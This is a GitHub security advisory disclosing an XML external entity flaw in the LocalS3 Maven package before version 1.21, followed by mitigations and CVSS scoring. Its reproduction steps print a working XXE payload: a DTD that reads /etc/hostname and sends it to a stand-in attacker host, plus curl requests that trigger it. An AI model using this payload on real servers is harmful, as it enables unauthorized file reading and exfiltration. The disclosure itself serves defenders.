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LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection

Moderate severity GitHub Reviewed Published Mar 10, 2025 in Robothy/local-s3 • Updated Mar 10, 2025

Package

maven io.github.robothy:local-s3-rest (Maven)

Affected versions

< 1.21

Patched versions

1.21

Description

Description

The LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections.

The vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests.

The vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations.

Steps to Reproduce

  1. Create a malicious DTD file containing the following content:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.domain/?flag=%file;'>">
%eval;
%exfil;
  1. Host the malicious DTD file on an accessible web server

  2. Initialize a multipart upload to the LocalS3 server:

curl -X PUT "http://app/test-bucket/test.txt?uploads"
  1. Send a POST request to complete the multipart upload with the following XML payload:
    curl -X POST "http://app/test-bucket/test.txt?uploadId=[upload-id]" \
    -H "Content-Type: application/xml" \
    -d '<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
    <!ENTITY % dtd SYSTEM "http://attacker.domain/evil.dtd">
    %dtd;
    ]>
    <CompleteMultipartUpload>
       <Part>
           <PartNumber>1</PartNumber>
           <ETag>test</ETag>
       </Part>
    </CompleteMultipartUpload>'
    

The server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker's server via an HTTP request.

Mitigations

  • Disable DTD processing in the XML parser configuration
  • If DTD processing is required, disable the ability to load external entities and external DTDs
  • Implement XML parsing with secure defaults using JAXP's XMLConstants.FEATURE_SECURE_PROCESSING feature
  • Set up proper input validation and sanitization for all XML processing operations

Impact

An attacker can exploit this vulnerability to read arbitrary files from the server's filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.

References

@Robothy Robothy published to Robothy/local-s3 Mar 10, 2025
Published to the GitHub Advisory Database Mar 10, 2025
Reviewed Mar 10, 2025
Last updated Mar 10, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-47qw-ccjm-9c2c

Source code

Credits

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